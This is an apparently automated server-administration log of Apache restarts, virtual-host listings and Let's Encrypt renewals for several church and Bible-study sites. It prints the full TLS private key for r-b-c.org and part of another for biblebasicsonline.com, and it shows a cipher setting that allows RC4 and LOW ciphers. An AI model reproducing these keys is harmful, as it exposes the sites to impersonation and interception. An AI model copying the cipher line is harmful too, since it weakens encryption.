2025-11-10 06:00:44:
2025-11-10 06:00:44:
PUT: /tmp/pkp677820
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-10 06:00:44:
chmod 755 /tmp/pkp677820; /tmp/pkp677820; rm /tmp/pkp677820
2025-11-10 06:00:44:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:00:44: Establishing a connection
2025-11-10 06:00:45:
PUT: /tmp/pkp355350
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-10 06:00:45:
chmod 755 /tmp/pkp355350; /tmp/pkp355350; rm /tmp/pkp355350
2025-11-10 06:00:45:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:00:45:
PUT: /tmp/pkp205039
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/r-b-c_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:00:45:
chmod 755 /tmp/pkp205039; /tmp/pkp205039; rm /tmp/pkp205039
2025-11-10 06:00:45:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 1323
<VirtualHost *:80>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_error.log
SetEnv pkp_uid 59
SetEnv pkp_owner rbc
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_secure_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:00:45:
PUT: /tmp/pkp653064
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:00:45:
chmod 755 /tmp/pkp653064; /tmp/pkp653064; rm /tmp/pkp653064
2025-11-10 06:00:45:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt 5356
08:91:81:6d:7b:e0:83:21:45:2b:85:c1:da:33:f2:9f
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBtsU39dTPWMAywk1dJEpU5GOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMjEzWhcNMjYwMjA4MDUwMjEyWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC46MjY
2otAlgq/KlgeGl8dNLtpOhEegMFpJcjchxIuIGfvldsbjcvUx+AcN1LFlHttvLyS
vv8w42tVnptxI4iIXB8Y8lCdIxSIryGYZ0lQn2fe3S8T6m8NcOO8AxL7KfEtF0lm
DDV41rJYUgxAw54YzwP1jL9ETVkMHiRHwd1rNojsP/Eswwfb7Dta2OQ7Ty4nx8wE
js4QWCCejz6ZMKBNMevkbB7uO5el6ubIBH8Ae1MbzhYKnrbSK+ly3O2A3RJidMIn
EuEdD/Vyfkx9yUTSNkR+9fDuPOXDV8TkgveBSgBCzPIpDx3LL41aKcspOchKKu7O
1DIiuTVpjvKcG2d9AgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FJ63E+oHBqF0FlKRdOz1lZZPWRcCMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTMuYy5sZW5jci5vcmcvMTUuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA
yzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGabFo5KwAABAMARzBF
AiBp81VzeiAVGUGwut8iiBMw15N5jsB7f8dghiCX+GlDYwIhANwisr5BhWvMgCQg
G+pz9T5VpWIhaXCL0MKMiKdojbRyAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2
bkakPw/KqcYAAAGabFo5WAAABAMARzBFAiEAkm2TXaq7H0N749PA81jLEQhkitYC
oSaFDGoDZ5iBNiMCIBXyPOrpqt3AMVqu0YO8OQbAgXXGKdVVFry8w9ZEmMylMA0G
CSqGSIb3DQEBCwUAA4IBAQA4pA5aD+wenu/rH8dQrUGA9KdB4yBKmI/w7KLs+Nz6
mc2Rk8Fwh3vl3TmETK/cl2AS08GkYLt92FVSlyFdd7XjL9nIneGYqMGh0l3YG2Nc
EDhATGHZiegQtTAChx1ZKwCp+qsObk/0PEsmnbDNPASK9tgoWZYm1puhJDa+/oBk
f+frykuZ0wNONQE86r+trLJRRqeAJ90RD+tyYMi19IIIViFxiW3Cd92tpgwYbxbG
Xo2sJ9kG4YNJyRfhMoU6iGVPHZYbxx7/87yl7OguPeffPWqSv3OPJZCCoL4PCkv2
6XK8QyLf+N01bKhFpzWNyhlz5dPWRpAoL5GLOQQ7jLi9
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC46MjY2otAlgq/
KlgeGl8dNLtpOhEegMFpJcjchxIuIGfvldsbjcvUx+AcN1LFlHttvLySvv8w42tV
nptxI4iIXB8Y8lCdIxSIryGYZ0lQn2fe3S8T6m8NcOO8AxL7KfEtF0lmDDV41rJY
UgxAw54YzwP1jL9ETVkMHiRHwd1rNojsP/Eswwfb7Dta2OQ7Ty4nx8wEjs4QWCCe
jz6ZMKBNMevkbB7uO5el6ubIBH8Ae1MbzhYKnrbSK+ly3O2A3RJidMInEuEdD/Vy
fkx9yUTSNkR+9fDuPOXDV8TkgveBSgBCzPIpDx3LL41aKcspOchKKu7O1DIiuTVp
jvKcG2d9AgMBAAECggEBAKJtkeiz6Tj91EjiyG8BGWYNaUdhA6K41a0ozM2zNOwh
+UsDZ2pH37J1NU9z5Zi7+sSF01xQvNhUHXgjkEYNQaUOzx5Z1SiDpUkAFlHLASL6
NAMYZn9nItA6x0HjrWvGBx5l40rqFJqmdhmRUUQe0iTWzJKJZYZ5L2yumY4TJQ5E
ZayXGAOSmhQkYabQkiAqZRpN8srnBx2PD3hIL9EmuOCjm6INSoe+cM3/MITL2pKK
I4SgZo1LP37xrtxIVUkT9UPEmjSkgqNcDk0qpxej1Wav1rGnOq0tDH/3aNRpSTXs
XI/IOdLRfKYzxkvEN6G7IapRI0UpfQ3fPwvrVZ9n9t0CgYEA5Z6KMacOeEgftaaK
s4Y9nYi6CyLb2lQskxMtz7I6d/p4T1rSaKrmld1/rh3HXJ19KqiXnGfUoNMOVYVX
mo7D4EmnhT9B7eMZCddfP4ddPwnyuq6dE5zeuOWep0DHhspBnpIDo9/DyxYIAkbv
CFhDlcnk08C7auMHkP8KWfqHgqsCgYEAzidBNiyee92bANKy1fdfgyl87au8ydWW
ZHsX5l1vrjmG8ES90ngaUdHPgjKt8ctaO+WpUqSXXJ2s9ml+SoD3IH9dOgS4z7k0
COROu6DtaXuGD7OV17DXuyNesLOlm6X0T5UYylOB2kHtFl2OX4TDAgmVjN7b7mfz
JiN0rtpo/ncCgYEArBF1L6Yncr1hfcdSkxtamu21tNindeG0EXbC0qyVogkBFT5T
BHplFxMINhs8pUujW09BZcRtEyN1z2J/9mNbp3yqW3C+4BxZTAWn67xthOrYiUqG
jQb15Aq2LFGf84MnT0POFIR/fXWCBOrQ/yjdZKcJoiEAkSWWKvLj9++EkscCgYBQ
35l3lT1/PkqGoiHCSs9Pd0EpRAxF6eKb/KY9mz4qzSqgq3cEUFWS74pGe3c9uhbm
FIy+fQ9cKAcoi+4dcEaCmzSJhDy0UOWW72nrtZAtp2XKVxtbiGa5ZYDKNU+spggY
CFe3V9dDNkW6Vm16D20pKXVf1DXXazQ6LAKkbc5utQKBgQCQxYOiyulHJpXzqnAC
RXE9dBlBSV8knJYqMqplRTsCQ14TkSZH+1azYdDFxbnIEwwFEsNP5Hym8zvGdj5l
R7yg6lJLFl+VUZvKpNMgzKtBPq7y1BB6G+G+yGAbj0lP+8SH0dw83FQNKtpC/Ch+
zS70dgcTlBWH/SOHA0/3mhGdNA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-10 06:00:45: Establishing a connection
2025-11-10 06:00:45: Establishing a connection
2025-11-10 06:00:45:
PUT: /tmp/pkp297236
#!/bin/bash
if [ -d "/var/www/biblebasicsonline_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-10 06:00:45:
chmod 755 /tmp/pkp297236; /tmp/pkp297236; rm /tmp/pkp297236
2025-11-10 06:00:45:
1
2025-11-10 06:00:46: Establishing a connection
2025-11-10 06:00:46:
PUT: /tmp/pkp799335
#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cat > CxVTSeIUjHd1mVZjlsKln1AGGs5CJ78JgbwFuHUQWeg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
CxVTSeIUjHd1mVZjlsKln1AGGs5CJ78JgbwFuHUQWeg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 CxVTSeIUjHd1mVZjlsKln1AGGs5CJ78JgbwFuHUQWeg
cat > FQxglfMfOwXJMlTXlWSXlcNhUiNydTyw2Nnyxec1zCE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
FQxglfMfOwXJMlTXlWSXlcNhUiNydTyw2Nnyxec1zCE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 FQxglfMfOwXJMlTXlWSXlcNhUiNydTyw2Nnyxec1zCE
2025-11-10 06:00:46:
chmod 755 /tmp/pkp799335; /tmp/pkp799335; rm /tmp/pkp799335
2025-11-10 06:00:46:
2025-11-10 06:00:55: Establishing a connection
2025-11-10 06:00:55:
PUT: /tmp/pkp517803
#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
rm CxVTSeIUjHd1mVZjlsKln1AGGs5CJ78JgbwFuHUQWeg
rm FQxglfMfOwXJMlTXlWSXlcNhUiNydTyw2Nnyxec1zCE
2025-11-10 06:00:55:
chmod 755 /tmp/pkp517803; /tmp/pkp517803; rm /tmp/pkp517803
2025-11-10 06:00:55:
2025-11-10 06:00:55: Establishing a connection
2025-11-10 06:00:55:
PUT: /tmp/pkp503617
#!/bin/bash
temp_file=$(mktemp)
TARGET=6826643b9e24e5e5121c4fe73657b282.crt
cat > $temp_file <<'endmsg'
0d:2e:a0:59:66:6b:13:f4:4a:c1:60:a4:d1:34:c0:46
-----BEGIN CERTIFICATE-----
MIIFIDCCBAigAwIBAgISBvb9cLI26uQv/6B/hsN2IyA4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjI0WhcNMjYwMjA4MDUwMjIzWjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDSeESr1BhXAklaqMeTvHEfkQTQpiViKP4EWLC51osTW3ZEjZL9dU/f
ous6WJV0QAfzih35hVscPb7hO6b7NNEzMolX1e7Wn/ZLehxl1QZNT3b76vm80mjR
eRBga9PJwPaCgpqWi3aKzGK9fLaDtnFeqPy8535USR05suWeBCSI1QEeetND2SYE
Glv8FQJjfA9FEMs+cv9D972LaKIKbATzshkP+EzshVO8POc4iCOjnETHjkiRNQkC
to/6W8wFxRyM/a8eUtrlG9K30mbpyvzRJmoGjXtI/mm0PXsnNpzX7MU/qfirUs0D
kPoN09Yf0zm2+A4JgBpt7bxp/bkYVPKdAgMBAAGjggI/MIICOzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFGgssQ4YYmN/nOmnoYtQ3fqbOurBMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvNTcuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAyzj3FYl8hKFEX1vB
3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGabFpj9QAABAMARzBFAiATeRiFvsgjp29U
KJTsHCXE+Yjjqg+W5PQTv+MSMyGLtwIhAM5naCBJmktWuYxXJO7eToJWHthCwqK/
KuW3N0cAiQe4AHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa
bFpjxwAABAMARjBEAiAl+ip4gUNAAQDxLFaBb8r4CxS0uv19jejD7/rnK3c8cgIg
PbvKzjDVgvU8Pc9OEdLZ9Z1ybunTDTEA4Wl7dyOeA84wDQYJKoZIhvcNAQELBQAD
ggEBALyMV8KaHbRQMMPoS2dKGKr4Xkx0INXhEgGDjGtdmtc9gZdwUGqS7WQp8wSZ
QGAcefftUwBan7JUzgY4b909Yszdv+69pSzoNzdY3mEv+MOh5jHr7Kz+lGI821ys
YwBlUuo0vxC4AE98sh0xmf7Q4UfeWh+bGedv7HYTlvBDOeR3c5K6FUQGiwK1SsMb
4qxHB/eMWVSDTzJlP3PYGCXhCJlXhL6fjSs+60FYoL5m7w37ycdlzflUDqjMMywf
dYK2upA7vpM1tWt+dxEf0BOTGG0fpK0hXpBF0237ig5SKUHqKCfcKpBZFMDm8XXe
hQl2r6THmwH2wzlgUt7tYDQRIew=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDSeESr1BhXAkla
qMeTvHEfkQTQpiViKP4EWLC51osTW3ZEjZL9dU/fous6WJV0QAfzih35hVscPb7h
O6b7NNEzMolX1e7Wn/ZLehxl1QZNT3b76vm80mjReRBga9PJwPaCgpqWi3aKzGK9
fLaDtnFeqPy8535USR05suWeBCSI1QEeetND2SYEGlv8FQJjfA9FEMs+cv9D972L
aKIKbATzshkP+EzshVO8POc4iCOjnETHjkiRNQkCto/6W8wFxRyM/a8eUtrlG9K3
0mbpyvzRJmoGjXtI/mm0PXsnNpzX7MU/qfirUs0DkPoN09Yf0zm2+A4JgBpt7bxp
/bkYVPKdAgMBAAECggEACMe3pattcIPJ55xO5xzfYz+7gbDMsnGfVzMT/Ey09JPG
NUnqreQs9tlnEsILShQ5wLEsWvJzQJRa2C6S4rvrVkVvcVidZBq8PZ3UfXMLlkIQ
ZqYA0R29/a8dPciBx1LjdcJZDJq40UWBgQIo4wnDZP2LvZ2yqXV7YKLT7Wmi1Ipq
4VvfafTnKxdEq7QcqFXmXxyeylcJuV3qXsddN4jPPCua747lnW1wMthXS/GZrs3K
nv9mhEvzMAZRX0wxZdsvhNowNDBTo6g+USAY529bcmsPhqlvDCpZUcbTKDbpfcIh
I4qVpf6v8BuNN3ExOiGJcGggb3snLDLulI/5vSdDwQKBgQD13qLh6bDE3ghTHTR9
acEv2tNzvRoWP8IGg1ezb9wFbFEnxAxf1bfpM+yQroGAqVVLWomq2NfN2Haj0gz/
IAf1aXVxUQfWUFyeG7em/+n52dTND/eqOdmlAjPQAjgBGtEGiUtEZeqIeHG2Ewfo
wh0J6MLwssGc6yh+eT32hR0QVQKBgQDbJD5+whBNrE2b+ZVjyVyb5w6Iev8DkjH+
gRF+iAUocxMfEbIi/ivV/+4B3ab51W8ar69EC6gALUrXOBROfBAsMQsLk/A1Ffmi
+MPaXNbQ/FPdmQwDGSAigbVPGNDBIVWHH6Rx7DwT9zm77XZIEZuia75OQN8zmWun
